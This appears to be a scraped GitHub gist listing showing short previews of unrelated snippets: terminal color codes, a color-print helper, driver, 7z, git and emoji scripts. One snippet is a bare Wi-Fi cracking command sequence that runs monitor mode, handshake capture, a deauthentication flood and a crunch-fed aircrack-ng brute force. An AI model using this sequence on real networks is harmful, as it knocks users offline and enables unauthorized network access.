Value | Color |
---|---|
\e[0;30m | Black |
\e[0;31m | Red |
\e[0;32m | Green |
\e[0;33m | Yellow |
\e[0;34m | Blue |
\e[0;35m | Purple |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/env python | |
def cprint(string, color): | |
""" print string with escape code for bash color """ | |
color_code = { | |
'black': '\x1b[30m', | |
'red': '\x1b[31m', | |
'green': '\x1b[32m', | |
'yellow': '\x1b[33m', |
iwconfig
ifconfig wlan0 up
airmon-ng start wlan0
airodump-ng wlan0mon
airodump-ng -c CHANNEL -w FILENAME --bssid BSSID wlan0mon
aireplay-ng -0 0 -a BSSID wlan0mon
crunch 9 9 0123456789 -t 1231%%%%% | aircrack-ng -w- FILENAME --bssid BSSID
airmon-ng stop wlan0mon
Get network drive name
$ inxi -n
Unload the module and try the first parameter option
$ sudo modprobe -r rtl8723be
$ sudo modprobe rtl8723be ant_sel=1
Command:
7z a -t7z -m0=lzma2 -mx=9 -mfb=64 -md=32m -ms=on -mhe=on -p dir.7z dir
Explanation:
a Add (dir1 to archive.7z)
-t7z Use a 7z archive
-m0=lzma2 Use lzma2 method
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
black="$(tput setaf 0)" | |
red="$(tput setaf 1)" | |
green="$(tput setaf 2)" | |
yellow="$(tput setaf 3)" | |
blue="$(tput setaf 4)" | |
magenta="$(tput setaf 5)" | |
cyan="$(tput setaf 6)" | |
white="$(tput setaf 7)" | |
reset="$(tput sgr0)" |
$ cd /dirname/
$ git clone [email protected]:user_name/repository_name.git
$ git branch new_branch
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
# Source: https://gist.github.com/Tadly/0741821d3694deaec1ee454a95c591fa | |
# | |
# Use rofi to pick emoji because that's what this | |
# century is about apparently... | |
# | |
# Requirements: | |
# rofi, xsel, xdotool, curl, xmllint | |
# | |
# Usage: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; Japanese Emoijs | |
:::angry::(#`Д´) | |
:::awesome::°˖✧◝(⁰▿⁰)◜✧˖° | |
:::cry::(μ_μ) | |
:::fear::〣( ºΔº )〣 | |
:::dcare::┐( ̄ヘ ̄)┌ | |
:::confuse::( ̄ω ̄;) | |
:::surprise::Σ(O_O) | |
:::greet::(°▽°)/ | |
:::hug::(づ ̄ ³ ̄)づ |
OlderNewer